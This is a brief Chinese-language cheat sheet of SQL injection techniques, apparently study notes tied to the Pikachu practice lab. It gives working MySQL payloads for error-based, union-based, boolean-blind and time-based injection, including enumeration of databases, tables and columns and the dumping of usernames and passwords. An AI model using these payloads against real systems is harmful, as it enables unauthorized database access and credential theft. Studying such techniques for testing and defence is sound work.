2021-06-01 16:56:58
1. 报错注入检测方法
2. Union注入检测方法
3. 布尔注入检测方法
4. 时间注入检测方法
1. 报错注入攻击方法
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
2. Union注入攻击方法
id=-1 union select database(),2:爆出库名。
id=-1 union select table_name,2 from information_schema.tables where table_schema='pikachu':爆出表名。
id=-1 union select column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users':爆出列名。
select username,password from users:显示出用户名和密码(密码可能是md5编码,需要进一步解密)。
3. 布尔注入攻击方法
判断系统表中有多少个数据库:1 and (select count(*) from information_schema.schemata)>6。
猜第一个数据库的名称:1 and (select ascii(mid(schema_name,1,1)) from information_schema.schemata limit 0,1)>97。
猜测数据库表的第一字段:1 and (select ascii(mid(column_name,1,1)) from information_schema.columns where table_name='user' and table_schema='security')>97。
4. 时间注入攻击方法
猜测数据库名的第一个字符的ASCII值:1 and if(ascii(substr(database(),1,1))>97,sleep(5),0)。若页面延迟5秒返回,则说明猜测的ASCII值大于97;否则,小于或等于97。通过不断调整ASCII值,可以逐步猜测出数据库名的完整字符。